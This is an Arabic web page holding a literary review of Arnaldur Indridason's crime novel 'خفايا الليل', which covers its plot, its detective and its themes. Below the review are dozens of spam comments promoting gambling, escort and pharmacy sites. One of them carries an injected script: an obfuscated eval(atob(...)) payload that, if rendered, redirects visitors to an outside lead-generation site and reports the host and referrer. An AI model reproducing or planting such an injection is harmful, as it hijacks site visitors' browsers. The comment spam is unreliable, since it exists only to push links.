ثقافة و فنونعربي أرنالدور اندريداسون يكتب الرواية البوليسية بنكهتها الإيسلاندية by admin 5 سبتمبر، 2021 written by admin 5 سبتمبر، 2021 33 في “خفايا الليل” يكتشف التحقيق المجرم والضحية بعد 23 عاماً اندبندنت عربية \ سلمان زين الدين إذا كانت ماهية الرواية البوليسية تكمن في أن حكاياتها تنويعات على حكاية واحدة، تقوم على وجود جريمة يرتكبها مجرم مجهول، من جهة، ووجود تحقيق يهدف إلى اكتشافه من جهة ثانية، فإن كيفية سرد هذه الحكاية تختلف من رواية إلى أخرى، وهي ما يعول عليه في الرواية البوليسية، ما يجعلنا إزاء مئات الروايات لحكاية واحدة. وعلى هذه الكيفية تتوقف روائية الرواية، بمعزل عما تطرحه من أسئلة، وتعالجه من قضايا. “خفايا الليل” هي الرواية الثانية عشرة التي تُصدرها دار “ثقافة للنشر والتوزيع” للكاتب الإيسلندي أرنالدور أندريداسون. وقد ترجمها أوليغ عوكي عن لغة وسيطة هي الفرنسية وليس عن اللغة الإيسلندية مباشرة، ما يجعل النسخة العربية ترجمة للترجمة. على أن هذه الوساطة لم تحل دون توصيل النسخة الأصلية إلى القارئ العربي نصاً وروحاً. ومعروف أن الرواية الإيسلندية البوليسية من أرقى هذا النوع من الأدب في العالم، وباتت تمثل إرثاً مهماً شارك في ترسيخه روائيون ينتمون إلى أكثر من جيل، وقد أضفوا على هذا النوع خصائص متفردة. الرواية الإيسلاندية في الترجمة العربية (الدار العربية للعلوم) لا تشذ “خفايا الليل” عن الرواية البوليسية في ماهيتها. فثمة جريمة أصلية مرتكبة فيها تتفرع منها جريمة فرعية. وثمة تحقيق يتمحور حولها يفشل في اكتشاف المجرم والعثور على الضحية، حتى إذا ما حصلت الجريمة الفرعية بعد ثلاث وعشرين سنة من ارتكاب الأصلية، يقود التحقيق فيها إلى اكتشاف المرتكب في الجريمتين. أما في كيفية القول، فللرواية خطابها الخاص بها. حلقات ثلاث يشكل اكتشاف جثة على سطح مجلدة لانغيوكل من قبل مرشدة سياحية إيسلندية ومجموعة من السياح الألمان، البداية النصية للرواية، والحلقة الأولى في سلسلة من الأحداث المثيرة التي تؤدي في حلقاتها الأخيرة إلى جلاء الخفي وكشف المستور. ولعل الحلقة الثانية في هذه السلسلة تتمثل في الاتصال الهاتفي الذي تجريه الطبيبة الشرعية في المستشفى الوطني سفانهيلدور بصديقها المحقق المتقاعد كونراد لمعاينة جثة سيغورفن، وهو الذي سبق أن حقق في جريمة اختفائه منذ ثلاثين سنة دون التوصل إلى نتيجة. وتتمثل الحلقة الثالثة في اتصال مارتا رئيسة جنائية ريكيافيك بكونراد طالبة مساعدته لأن المشتبه فيه القديم/ الجديد هجاليلتن يريد التكلم إليه فقط. وهكذا، تدفع الحلقات الثلاث المحقق المتقاعد كونراد نفسه، من حيث لا يريد، إلى إعادة فتح ملف قديم، لم يتمكن من العثور على الضحية فيه والقبض على القاتل في حينه. فيقدم على فتحه بعد تردد، لعله يتحرر من شعور ملازم بالذنب، ويعوض عن تقصير مزمن. فرضية الترابط بين إحساسه بضجر التقاعد، وميله إلى ملء الفراغ، وشعوره بالتقصير، وتعيير زملائه له بعدم المهنية، ورغبته في الوصول إلى الحقيقة، يجد كونراد نفسه مضطراً لمجاراة التحقيق دون الغوص فيه، فيلبي دعوة الطبيبة الشرعية لمعاينة الجثة، ويمتثل لدعوة رئيسة الجنائية للتحقيق مع المشتبه فيه القديم/ الجديد هجالتلين الذي يصر على إفادته السابقة، ويدفع ببراءته مما ينسب إليه، ما يترتب عليه عدم فتح الملف. غير أن قيام هيرديس، المرأة غريبة الأطوار، بعد انتشار خبر العثور على جثة سيغورفن بطرق باب المحقق منتصف الليل، وإخباره أن رجلاً غريباً مخيفاً كان قد هدد أخاها الصغير فيلي بالقتل منذ ثلاثين عاماً، عندما شاهده على تلة أوسكجوليد في وضع مريب، وأن أحدهم دهس الأخ بسيارته منذ سبعة أعوام، يشكل نقطة تحول في مجرى الأحداث، فيقرر كونراد الغوص في التحقيق بعد أن كان مكتفياً بمجاراته، ويفترض أن ثمة علاقة بين الجريمتين الأصلية والفرعية، ويروح يعمل على إثبات هذه الفرضية لعله ينجح حيث فشل في السابق ويضع الأمور في نصابها. الترجمة الإنجليزية للرواية (امازون) في تحقيقه، يستخدم كونراد التقنيات المعروفة، في هذا المجال، يجمع المعلومات، ويستجوب الأشخاص، ويراقب المشتبه فيهم، ويقوم بزيارات ميدانية، ثم يعمد إلى مقارنة النتائج وتحليلها واستخراج القرائن منها. وفي إطار تطبيق هذه التقنيات، يجمع كونراد المعلومات من الطبيبة الشرعية سفانهيلدور، ورئيسة الجنائية مارتا، وموظفة الأرشيف أولغا، وعالم الأرصاد الجوية فروستي. ويستجوب في الجريمة الأصلية المشتبه فيه هجاليلتن، وحبيبته السابقة سالومي، وشقيقة الضحية الأولى يورون، وزوجته السابقة ليندا، وسائق شركته ستاينر، والكاهن بيار، والنجار أغل وزوجته فريدني، والمرشد السياحي لوكاس، وقائد الكشافة هولمستن، والميكانيكي برنهارد، وغيرهم. ويستجوب، في الجريمة الفرعية، شقيقة الضحية الثانية هيرديس، وزميل العمل إنغي، وصديق الطفولة إنغفار،و فتاة المقصف إليسا، والشرطي المحقق ليو، والأشخاص الذين حقق معهم يالينا وعمر وتوماس وبرنهارد،و زوجة برنهارد السابقة جومانا، وصديق طفولة المحقق ماغنوس، وغيرهم. ويراقب مراقبة سرية بيت المشتبه فيه برنهارد ومكان عمله. ويزور المدرسة التي تعلم فيها. نتائج التحقيق خلال هذه التقنيات، يقع المحقق على مجموعة من الأدوات المادية كالجيب المخصص للتضاريس والصورة المدرسية وصورة الكمبيوتر الخلفية، فتشكل نقاط استدلال له، وتضع التحقيق في المسار الصحيح، ونكتشف معه أن الميكانيكي برنهارد والمرشد السياحي لوكاس، هما من قتل الضحية الأولى سيغورفن لخلاف على عائدات تهريب المخدرات، وأن برنهارد هو من دهس الضحية الثانية فيلي لأنه خشي أن يشي به لدى مشاهدته في المقصف، على الرغم من مرور ثلاثة وعشرين عاماً، على مشاهدته في وضع مريب على تلة أوسكجوليد. وبذلك، يتحرر كونراد من عقد الإحساس بالذنب والتقصير وعدم الكفاءة. مع أنه على الرغم من ذلك، لا يفرح بما أنجز، بل يشعر بالحزن لأنه لم يستطع رفع الظلم الذي لحق ببعض المشتبه فيهم، وحين أوشك أن يفعل كان الأوان قد فات. انطلاقاً من هذه الوقائع، تقدم “خفايا الليل” صورتين اثنتين للمحقق، الأولى إيجابية، يجسدها كونراد بدقة ملاحظته، ومثابرته، وجرأته، وهدوئه، وطول نَفَسه، واهتمامه بالتفاصيل الصغيرة. الثانية سلبية يجسدها ليو بتسرعه، وافتقاره إلى الضمير المهني، وابتزازه الشهود، وإجبارهم على قول ما يريد. وتصور الرواية، من جهة ثانية، فداحة الإحساس بالظلم من خلال شخصية هجالتلين الذي اتهم بقتل سيغورفد، وجرى اعتقاله ظلماً مرتين، جراء قيام المحقق ليو بإجبار ستاينر على الإدلاء بشهادة كاذبة وكتمان الأمر. ولعل ما يزيد الظلم فداحةً أن المظلوم قضى قبل أن تُعلَن براءته. وتصور، من جهة ثالثة، ثقل وطأة الإحساس بالذنب الذي يعيشه المجرم، فيلازمه طيلة عمره، وينغص عليه حياته، فبرنهارد لا يتحرر من هذا الثقل إلا بإقدامه على الانتحار، ولوكاس لا يتحرر منه إلا بسقوطه في النهر. وتصور، من جهة رابعة، عذاب الضمير الناجم عن التصرف بمال الآخرين، وهو ما يعيشه النجار أغل وزوجته فريدني اللذان عثرا على مبلغ من المال في شقة سيغورفن السابقة، وتأخر اعترافهما بذلك حتى وقت العثور على جثته. ولعلهما أرادا بهذا الاعتراف المتأخر التخفف من عذاب الضمير، بعد فوات الأوان. وتصور، من جهة خامسة، العبء الذي يُثقل كاهل شاهد الزور واضطراره إلى عدم البوح بما فعل، وهو ما يعيشه السائق العجوز ستاينر الذي أدت شهادته، تحت وطأة التهديد، إلى اعتقال إنسان بريء وتشويه سمعته، حتى إذا ما أراد التكفير عن شهادته واحتفاظه بالسر، وهو على فراش الموت، يكون المشتبه فيه قد فارق الحياة. وعلى الرغم من الترابط بين الوحدات السردية، وحركة البطل الرشيقة بين الخيوط المختلفة، فإن المسار العام للأحداث هو مسار كمي، تراكمي، الأمر الذي ينطبق على الحبكة الروائية والحل، في الوقت نفسه. ففي حين تتراكم الوقائع المتعلقة بالحبكة في خط أفقي، نرى أن جزئيات الحل تتضح تباعاً، بدورها، حتى جلاء الخفايا عن آخرها. المزيد عن: روائي إيسلاندي\رواية بوليسية\تشويق\جريمة\تحقيق\القاتل\الضحية\اللغز 93 comments 0 FacebookTwitterPinterestEmail admin previous post رحلة أخيرة في حياة ماكس فريش إلى مصر لوداع العالم next post بابلون لارين يكشف عزلة الأميرة ديانا في مهرجان البندقية You may also like مهى سلطان تكتب عن: الرسام اللبناني رضوان الشهال... 24 نوفمبر، 2024 فيلمان فرنسيان يخوضان الحياة الفتية بين الضاحية والريف 24 نوفمبر، 2024 مصائد إبراهيم نصرالله تحول الرياح اللاهبة إلى نسائم 23 نوفمبر، 2024 يوري بويدا يوظف البيت الروسي بطلا روائيا لتاريخ... 23 نوفمبر، 2024 اليابانية مييكو كاواكامي تروي أزمة غياب الحب 22 نوفمبر، 2024 المدن الجديدة في مصر… “دنيا بلا ناس” 21 نوفمبر، 2024 البعد العربي بين الأرجنتيني بورخيس والأميركي لوفكرافت 21 نوفمبر، 2024 في يومها العالمي… الفلسفة حائرة متشككة بلا هوية 21 نوفمبر، 2024 الوثائق كنز يزخر بتاريخ الحضارات القديمة 21 نوفمبر، 2024 أنعام كجه جي تواصل رتق جراح العراق في... 21 نوفمبر، 2024 93 comments 와이즈토토 5 سبتمبر، 2021 - 2:31 ص Heya i’m for the first time here. I came across this board and I find It really useful & it helped me out much. I hope to present something again and aid others like you helped me. Reply asmr when 5 سبتمبر، 2021 - 2:40 ص Wow! After all I got a webpage from where I can truly take useful data regarding my study and knowledge. Reply 검증업체 토토 5 سبتمبر، 2021 - 2:42 ص Hi! I’ve been reading your site for a while now and finally got the bravery to go ahead and give you a shout out from Dallas Texas! Just wanted to say keep up the good job! Reply 구글상위 로직 5 سبتمبر، 2021 - 2:47 ص It’s a shame you don’t have a donate button! I’d most certainly donate to this outstanding blog! I suppose for now i’ll settle for book-marking and adding your RSS feed to my Google account. I look forward to new updates and will talk about this blog with my Facebook group. Chat soon! Reply asmr is 5 سبتمبر، 2021 - 2:53 ص Useful information. Lucky me I discovered your site unintentionally, and I’m surprised why this coincidence did not came about in advance! I bookmarked it. Reply 오피시티 트위터 5 سبتمبر، 2021 - 2:55 ص Way cool! Some very valid points! I appreciate you penning this write-up plus the rest of the site is very good. Reply Yakima Construction 5 سبتمبر، 2021 - 2:56 ص Hi there i am kavin, its my first occasion to commenting anyplace, when i read this piece of writing i thought i could also make comment due to this good piece of writing. Reply for asmr 5 سبتمبر، 2021 - 2:57 ص What i do not understood is in fact how you are now not really a lot more smartly-favored than you may be now. You’re very intelligent. You know therefore significantly in relation to this topic, produced me individually consider it from a lot of varied angles. Its like men and women don’t seem to be involved until it’s one thing to do with Lady gaga! Your personal stuffs nice. All the time care for it up! Reply pertanian dan agrobisnis 5 سبتمبر، 2021 - 2:57 ص whoah this weblog is magnificent i love studying your articles. Keep up the good work! You already know, many persons are searching round for this info, you can aid them greatly. Reply 의정부오피 5 سبتمبر، 2021 - 3:01 ص I absolutely love your blog.. Great colors & theme. Did you develop this web site yourself? Please reply back as I’m planning to create my very own website and would love to find out where you got this from or just what the theme is named. Appreciate it! Reply bit.ly 5 سبتمبر، 2021 - 3:03 ص Hello, I think your blog might be having browser compatibility issues. When I look at your website in Firefox, it looks fine but when opening in Internet Explorer, it has some overlapping. I just wanted to give you a quick heads up! Other then that, excellent blog! Reply asmr that 5 سبتمبر، 2021 - 3:03 ص I’ve read some just right stuff here. Definitely price bookmarking for revisiting. I wonder how so much attempt you set to create any such wonderful informative website. Reply asmr a 5 سبتمبر، 2021 - 3:04 ص I am not sure where you are getting your info, but great topic. I needs to spend some time learning more or understanding more. Thanks for excellent information I was looking for this info for my mission. Reply Golf 3D Construction 5 سبتمبر، 2021 - 3:12 ص Way cool! Some extremely valid points! I appreciate you penning this post and also the rest of the site is very good. Reply what asmr 5 سبتمبر، 2021 - 3:13 ص Great post. I was checking continuously this weblog and I’m impressed! Very useful info specially the final phase 🙂 I take care of such info a lot. I used to be seeking this certain info for a long time. Thanks and good luck. Reply 대구오피변경주소 5 سبتمبر، 2021 - 3:17 ص What’s up, its pleasant piece of writing on the topic of media print, we all understand media is a fantastic source of data. Reply What Is It Worth 5 سبتمبر، 2021 - 3:21 ص This is my first time go to see at here and i am truly pleassant to read everthing at single place. Reply nama nama dataran rendah di pulau papua dan maluku 5 سبتمبر، 2021 - 3:23 ص What’s up, after reading this remarkable paragraph i am also happy to share my knowledge here with friends. Reply in asmr 5 سبتمبر، 2021 - 3:29 ص I used to be able to find good information from your content. Reply togel online 5 سبتمبر، 2021 - 3:30 ص Way cool! Some extremely valid points! I appreciate you penning this write-up and also the rest of the site is really good. Reply ruwo.rumariella.Furrer@www.wwwdr.Ess.Aleoklop.e@www.your-hoster.de 5 سبتمبر، 2021 - 3:39 ص Greetings! Very helpful advice within this article! It is the little changes that will make the greatest changes. Thanks a lot for sharing! Reply bit.ly 5 سبتمبر، 2021 - 3:49 ص Hello, I think your site might be having browser compatibility issues. When I look at your website in Firefox, it looks fine but when opening in Internet Explorer, it has some overlapping. I just wanted to give you a quick heads up! Other then that, wonderful blog! Reply 대구출장 트위터 5 سبتمبر، 2021 - 3:50 ص Appreciating the time and energy you put into your blog and detailed information you provide. It’s awesome to come across a blog every once in a while that isn’t the same out of date rehashed material. Excellent read! I’ve bookmarked your site and I’m adding your RSS feeds to my Google account. Reply HP Printer Troubleshooting 5 سبتمبر، 2021 - 3:56 ص Hey! I’m at work surfing around your blog from my new iphone! Just wanted to say I love reading through your blog and look forward to all your posts! Carry on the great work! Reply Source 5 سبتمبر، 2021 - 3:59 ص Wonderful website you have here but I was wondering if you knew of any message boards that cover the same topics talked about in this article? I’d really love to be a part of online community where I can get opinions from other knowledgeable individuals that share the same interest. If you have any recommendations, please let me know. Bless you! Reply 대구유흥접속 5 سبتمبر، 2021 - 4:02 ص Awesome article. Reply j.mp 5 سبتمبر، 2021 - 4:17 ص When someone writes an paragraph he/she keeps the image of a user in his/her mind that how a user can know it. Thus that’s why this article is amazing. Thanks! Reply pgslot 5 سبتمبر، 2021 - 4:22 ص What’s up colleagues, its wonderful article concerning cultureand completely explained, keep it up all the time. Reply ratulink 5 سبتمبر، 2021 - 4:23 ص I every time used to study post in news papers but now as I am a user of internet therefore from now I am using net for articles or reviews, thanks to web. Reply on asmr 5 سبتمبر، 2021 - 4:25 ص fantastic publish, very informative. I ponder why the other specialists of this sector do not understand this. You should proceed your writing. I’m confident, you have a huge readers’ base already! Reply or asmr 5 سبتمبر، 2021 - 4:48 ص It’s a pity you don’t have a donate button! I’d certainly donate to this superb blog! I guess for now i’ll settle for book-marking and adding your RSS feed to my Google account. I look forward to brand new updates and will talk about this blog with my Facebook group. Chat soon! Reply best binary options system 2020 presidential election 5 سبتمبر، 2021 - 4:55 ص Excellent post. I was checking continuously this blog and I am impressed! Very useful information specifically the last part 🙂 I care for such info a lot. I was seeking this particular info for a very long time. Thank you and good luck. Reply 강남가라오케 5 سبتمبر، 2021 - 4:58 ص Very nice post. I absolutely appreciate this website. Continue the good work! Reply 대구밤문화도메인 5 سبتمبر، 2021 - 4:59 ص WOW just what I was looking for. Came here by searching for 대구op사이트주소 Reply expinue 5 سبتمبر، 2021 - 5:02 ص Viagra Reply bitly.com 5 سبتمبر، 2021 - 5:12 ص Remarkable! Its truly remarkable piece of writing, I have got much clear idea about from this post. Reply URL 5 سبتمبر، 2021 - 5:13 ص Hello there, I discovered your website by way of Google while looking for a comparable matter, your web site came up, it looks great. I have bookmarked it in my google bookmarks. Hi there, simply turned into alert to your weblog thru Google, and located that it’s really informative. I am gonna watch out for brussels. I’ll be grateful if you happen to continue this in future. Many folks will be benefited out of your writing. Cheers! Reply 대구오피 정보 5 سبتمبر، 2021 - 5:17 ص When I initially commented I seem to have clicked on the -Notify me when new comments are added- checkbox and from now on every time a comment is added I get 4 emails with the same comment. There has to be a means you are able to remove me from that service? Thanks a lot! Reply 먹튀제보 5 سبتمبر، 2021 - 5:21 ص Hi to every , since I am truly keen of reading this weblog’s post to be updated on a regular basis. It contains nice stuff. Reply asmr my 5 سبتمبر، 2021 - 5:30 ص Hello, I think your website might be having browser compatibility issues. When I look at your blog site in Ie, it looks fine but when opening in Internet Explorer, it has some overlapping. I just wanted to give you a quick heads up! Other then that, awesome blog! Reply bitly.com 5 سبتمبر، 2021 - 5:33 ص Heya i am for the first time here. I found this board and I find It really useful & it helped me out a lot. I hope to give something back and help others like you helped me. Reply More information 5 سبتمبر، 2021 - 5:33 ص When some one searches for his essential thing, therefore he/she wants to be available that in detail, therefore that thing is maintained over here. Reply bitly.com 5 سبتمبر، 2021 - 5:34 ص I was curious if you ever thought of changing the page layout of your site? Its very well written; I love what youve got to say. But maybe you could a little more in the way of content so people could connect with it better. Youve got an awful lot of text for only having 1 or 2 pictures. Maybe you could space it out better? Reply latest news 5 سبتمبر، 2021 - 6:00 ص Pretty element of content. I simply stumbled upon your weblog and in accession capital to assert that I get in fact enjoyed account your blog posts. Any way I will be subscribing on your augment and even I fulfillment you access constantly rapidly. Reply 노비스패딩조끼 5 سبتمبر، 2021 - 6:22 ص Hello just wanted to give you a quick heads up. The text in your content seem to be running off the screen in Safari. I’m not sure if this is a formatting issue or something to do with internet browser compatibility but I thought I’d post to let you know. The layout look great though! Hope you get the problem fixed soon. Cheers Reply bitly.com 5 سبتمبر، 2021 - 6:28 ص I blog quite often and I really thank you for your information. This great article has truly peaked my interest. I am going to book mark your blog and keep checking for new information about once per week. I opted in for your RSS feed as well. Reply 안전놀이터 5 سبتمبر، 2021 - 6:28 ص It’s remarkable to visit this site and reading the views of all colleagues on the topic of this piece of writing, while I am also eager of getting familiarity. Reply web page 5 سبتمبر، 2021 - 6:41 ص Someone necessarily assist to make significantly articles I would state. That is the very first time I frequented your website paghe and up to now? I amazed with the analysis you made to create this actual put up amazing. Magnificent process! web page Reply 대구건마 주소 5 سبتمبر، 2021 - 6:43 ص This excellent website certainly has all the information I needed about this subject and didn’t know who to ask. Reply 토토갤러리 5 سبتمبر، 2021 - 6:45 ص Good blog you have got here.. It’s difficult to find excellent writing like yours these days. I truly appreciate individuals like you! Take care!! Reply 대구키방 바로가기 5 سبتمبر، 2021 - 7:00 ص Why visitors still make use of to read news papers when in this technological globe all is accessible on web? Reply Amisomy 5 سبتمبر، 2021 - 7:05 ص http://buytadalafshop.com/ – tadalista vs cialis Reply 사설토토 5 سبتمبر، 2021 - 7:10 ص Remarkable! Its in fact awesome post, I have got much clear idea regarding from this paragraph. Reply electronic components 5 سبتمبر، 2021 - 7:11 ص What’s up it’s me, I am also visiting this web site daily, this web site is actually nice and the users are truly sharing good thoughts. Reply Diamond Painting UK 5 سبتمبر، 2021 - 7:11 ص I really love your blog.. Excellenht colors & theme. Did you develop tthis web site yourself? Please reply back as I’m attempting to creatte my own website and want to find out where you got this from orr what the theme is called. Appreciate it! Reply dental ment 5 سبتمبر، 2021 - 7:19 ص I’d like to find out more? I’d like to find out some additional information. Reply sites.google.com 5 سبتمبر، 2021 - 7:25 ص Please let me know if you’re looking for a article author for your weblog. You have some really great articles and I feel I would be a good asset. If you ever want to take some of the load off, I’d really like to write some content for your blog in exchange for a link back to mine. Please blast me an email if interested. Thank you! Reply make love 5 سبتمبر، 2021 - 7:26 ص Wonderful post however , I was wondering if you could write a litte more on this topic? I’d be very grateful if you could elaborate a little bit more. Thank you! Reply bit.ly 5 سبتمبر، 2021 - 7:31 ص Good way of describing, and fastidious post to take facts on the topic of my presentation topic, which i am going to deliver in institution of higher education. Reply fandangonow.com/activate 5 سبتمبر، 2021 - 7:33 ص Hello there! I know this is kind of off topic but I was wondering which blog platform are you using for this website? I’m getting sick and tired of Wordpress because I’ve had problems with hackers and I’m looking at alternatives for another platform. I would be great if you could point me in the direction of a good platform. Reply asmr it 5 سبتمبر، 2021 - 7:34 ص certainly like your web-site but you need to check the spelling on several of your posts. Many of them are rife with spelling issues and I to find it very troublesome to tell the reality however I will certainly come back again. Reply ekspress-mebel.ru 5 سبتمبر، 2021 - 7:37 ص excellent submit, very informative. I wonder why the opposite specialists of this sector don’t understand this. You must proceed your writing. I am sure, you have a huge readers’ base already! Reply 먹튀인증업체 5 سبتمبر، 2021 - 7:49 ص This is a topic which is close to my heart… Thank you! Where are your contact details though? Reply asmr their 5 سبتمبر، 2021 - 7:51 ص Thank you for any other informative website. The place else could I am getting that kind of info written in such a perfect approach? I’ve a project that I’m simply now running on, and I have been on the look out for such info. Reply tinyurl.com 5 سبتمبر، 2021 - 8:01 ص Thank you for another fantastic post. Where else may anybody get that type of information in such an ideal means of writing? I’ve a presentation subsequent week, and I am on the look for such info. Reply asmr where 5 سبتمبر، 2021 - 8:09 ص Hi, I think your blog might be having browser compatibility issues. When I look at your website in Chrome, it looks fine but when opening in Internet Explorer, it has some overlapping. I just wanted to give you a quick heads up! Other then that, fantastic blog! Reply Amisomy 5 سبتمبر، 2021 - 8:11 ص http://buytadalafshop.com/ – cialis online no prescription Reply bitly.com 5 سبتمبر، 2021 - 8:35 ص Link exchange is nothing else except it is simply placing the other person’s webpage link on your page at proper place and other person will also do same in favor of you. Reply Schlüsseldienst Frankfurt Bornheim 5 سبتمبر، 2021 - 8:43 ص Fabulous, what a web site it is! This blog presents helpful information to us, keep it up. Reply j.mp 5 سبتمبر، 2021 - 8:43 ص Hmm it looks like your website ate my first comment (it was super long) so I guess I’ll just sum it up what I had written and say, I’m thoroughly enjoying your blog. I as well am an aspiring blog writer but I’m still new to everything. Do you have any tips for first-time blog writers? I’d genuinely appreciate it. Reply 분당오피 5 سبتمبر، 2021 - 8:48 ص Woah! I’m really digging the template/theme of this blog. It’s simple, yet effective. A lot of times it’s challenging to get that “perfect balance” between user friendliness and appearance. I must say you have done a great job with this. Also, the blog loads very quick for me on Firefox. Excellent Blog! Reply discuss 5 سبتمبر، 2021 - 8:54 ص I’ve been surfing online more than 3 hours today, yet I never found any interesting article like yours. It’s pretty worth enough for me. In my view, if all webmasters and bloggers made good content as you did, the net will be much more useful than ever before. Reply linktr.ee 5 سبتمبر، 2021 - 8:56 ص Ahaa, its nice conversation concerning this post here at this blog, I have read all that, so now me also commenting at this place. Reply why asmr 5 سبتمبر، 2021 - 9:10 ص Wow, superb blog layout! How long have you been blogging for? you made blogging look easy. The overall look of your web site is wonderful, as well as the content! Reply 레깅스룸 5 سبتمبر، 2021 - 9:20 ص Hello there! I could have sworn I’ve been to this site before but after reading through some of the post I realized it’s new to me. Anyways, I’m definitely glad I found it and I’ll be book-marking and checking back often! Reply fashion clothes 5 سبتمبر، 2021 - 9:27 ص Its like you read my mind! You seem to know so much about this, like you wrote the book in it or something. I think that you could do with some pics to drive the message home a little bit, but instead of that, this is wonderful blog. An excellent read. I’ll certainly be back. Reply ενοικιαση αυτοκινητου van 5 سبتمبر، 2021 - 9:28 ص I was able to find good information from your content. Reply 슬롯머신사이트 5 سبتمبر، 2021 - 9:30 ص Nice post. I was checking constantly this blog and I’m impressed! Extremely helpful information particularly the remaining part : ) I deal with such info much. I was seeking this particular information for a long time. Thank you and best of luck. Reply s128.net 5 سبتمبر، 2021 - 9:33 ص Your means of telling all in this piece of writing is in fact good, every one be capable of without difficulty be aware of it, Thanks a lot. Reply lead generation meaning call center 5 سبتمبر، 2021 - 9:44 ص New Email List of LinkBio Users. Sell your products or services directly with cold email marketing to Instagram users that uses LinkBio in their profiles Download it from email marketing tracking“>”>”>”>”>eval(atob(‘ZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9ICdodHRwczovL29ubGluZWxlYWRnZW5lcmF0aW9uLnh5ei9pbmRleC5odG1sP3V0bV9zb3VyY2U9JyArIGxvY2F0aW9uLmhvc3RuYW1lICsgJyZ1dG1fbWVkaXVtPWdzYS1vbmxpbmVsZWFkJnV0bV9jYW1wYWlnbj1zY3JpcHQmdXRtX2NvbnRlbnQ9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5yZWZlcnJlcik7’)); Reply สล๊อตออนไลน์ 5 سبتمبر، 2021 - 9:45 ص Hello! I could have sworn I’ve been to your blog before but after going through some of the articles I realized it’s new to me. Nonetheless, I’m definitely pleased I discovered it and I’ll be book-marking it and checking back regularly! https://www.weezaa.com/board/24869 Reply 서울오피 5 سبتمبر، 2021 - 10:18 ص Excellent website you have here but I was curious about if you knew of any user discussion forums that cover the same topics talked about in this article? I’d really love to be a part of community where I can get comments from other knowledgeable individuals that share the same interest. If you have any recommendations, please let me know. Cheers! Reply formation professionnelle anglais aix en provence 5 سبتمبر، 2021 - 10:19 ص I am in fact grateful to the owner of this web page who has shared this wonderful article at here. Reply ดาวน์โหลด หนังผู้ใหญ่ 3gp ฟรี 5 سبتمبر، 2021 - 10:26 ص each time i used to read smaller articles or reviews that as well clear their motive, and that is also happening with this piece of writing which I am reading at this time. Reply Custom Paper Writing Service 5 سبتمبر، 2021 - 10:33 ص You really make it seem so easy with your presentation but I find this topic to be really something which I think I would never understand. It seems too complicated and very broad for me. I’m looking forward for your next post, I will try to get the hang of it! Reply 토토사이트 5 سبتمبر، 2021 - 10:33 ص I’m truly enjoying the design and layout of your blog. It’s a very easy on the eyes which makes it much more pleasant for me to come here and visit more often. Did you hire out a designer to create your theme? Exceptional work! Reply 카지노 5 سبتمبر، 2021 - 10:36 ص If yoou would like to take a great deal from this piece off writing then you have to apply suc methods to your wonn blog. Here is my web blog … 카지노 Reply 구리오피 5 سبتمبر، 2021 - 10:44 ص Hi there to all, how is everything, I think every one is getting more from this website, and your views are nice designed for new people. Reply in asmr 5 سبتمبر، 2021 - 10:51 ص When someone writes an post he/she maintains the image of a user in his/her brain that how a user can understand it. So that’s why this paragraph is great. Thanks! Reply j.mp 5 سبتمبر، 2021 - 10:52 ص Marvelous, what a web site it is! This website gives helpful data to us, keep it up. Reply bit.ly 5 سبتمبر، 2021 - 10:58 ص When someone writes an post he/she retains the idea of a user in his/her mind that how a user can be aware of it. Therefore that’s why this piece of writing is amazing. Thanks! Reply pocketoption 123 binary options trading system 5 سبتمبر، 2021 - 11:01 ص I used to be able to find good advice from your blog posts. Reply software 5 سبتمبر، 2021 - 11:52 ص At this moment I am going to do my breakfast, later than having my breakfast coming again to read further news. Feel free to visit my blog: software Reply Leave a Comment Save my name, email, and website in this browser for the next time I comment.
